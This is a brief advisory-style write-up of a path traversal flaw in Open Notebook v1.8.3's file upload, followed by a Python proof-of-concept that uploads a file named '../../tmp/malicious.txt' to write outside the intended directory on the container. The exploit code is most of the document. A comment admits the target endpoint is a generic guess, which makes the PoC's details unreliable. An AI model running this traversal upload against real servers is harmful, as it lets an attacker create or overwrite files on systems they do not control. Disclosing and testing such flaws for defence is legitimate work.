Lack of user input validation in the file upload functionality of Open Notebook v1.8.3 allows the application user to create or modify files on the docker container via path traversal.
The following code is for security research and authorized testing only.
python
import requests
def exploit_poc(target_url):
"""
PoC for CVE-2026-33588: Path Traversal via File Upload
"""
# The endpoint might vary, this is a generic example based on the description
upload_endpoint = f"{target_url}/api/upload"
# Path traversal payload to write to a sensitive location in the container
# e.g., writing to /tmp/malicious.txt
malicious_filename = "../../tmp/malicious.txt"
files = {
'file': (malicious_filename, 'This is a test content for path traversal.', 'text/plain')
}
try:
response = requests.post(upload_endpoint, files=files, timeout=10)
if response.status_code == 200:
print(f"[+] Request sent successfully. File may have been written as: {malicious_filename}")
else:
print(f"[-] Failed. Status Code: {response.status_code}")
except Exception as e:
print(f"Error occurred: {e}")
# Example usage
# exploit_poc("http://target-host:port")